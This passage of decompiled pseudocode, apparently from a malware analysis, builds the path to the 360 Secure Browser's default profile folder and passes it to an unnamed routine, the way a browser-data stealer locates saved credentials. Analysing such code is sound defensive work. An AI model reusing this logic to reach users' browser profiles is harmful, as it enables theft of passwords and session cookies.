v3 = strlen(v2) + 1;
v4 = v2;
v5 = &v12;
while ( *++v5 )
;
qmemcpy(v5, v4, v3);
v7 = &v12;
while ( *++v7 )
;
strcpy(v7, "\\AppData\\Roaming\\3");
v9 = &v12;
while ( *++v9 )
;
strcpy(v9, "60se6\\User Data\\Default");
Sleep(0x3E8u);
sub_411C10((char *)Source);
return 0;
}
总结